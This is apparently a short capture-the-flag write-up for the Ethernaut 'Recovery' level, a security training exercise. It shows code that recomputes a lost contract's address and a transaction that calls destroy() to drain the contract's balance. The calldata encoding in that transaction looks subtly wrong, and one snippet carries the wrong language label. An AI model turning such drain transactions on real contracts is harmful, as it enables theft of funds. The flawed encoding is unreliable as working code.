Writeups/Ethernaut/Recovery
MediumEthernaut · Ethernaut2024

Recovery

Lost Contract Address Recovery via Deterministic CREATE Address

A lost token contract's address can be recomputed from the deployer's address and nonce using `keccak256(RLP([deployer, 1]))`. Once found, `selfdestruct(owner)` drains the contract's balance.

SolidityCREATENonceAddress DerivationEtherscan

00Overview

A lost token contract's address can be recomputed from the deployer's address and nonce using `keccak256(RLP([deployer, 1]))`. Once found, `selfdestruct(owner)` drains the contract's balance.

01Compute the lost contract address

javascript
address lost = address(uint160(uint256(keccak256(abi.encodePacked(
    bytes1(0xd6), bytes1(0x94), recoveryAddress, bytes1(0x01)
)))));

02Call destroy() to drain funds

javascript
await web3.eth.sendTransaction({
  from: player,
  to: lostAddress,
  data: web3.utils.sha3("destroy(address)").slice(0,10) + player.padStart(64,'0')
})

03Level Completed

Recovery — completion screenshot 1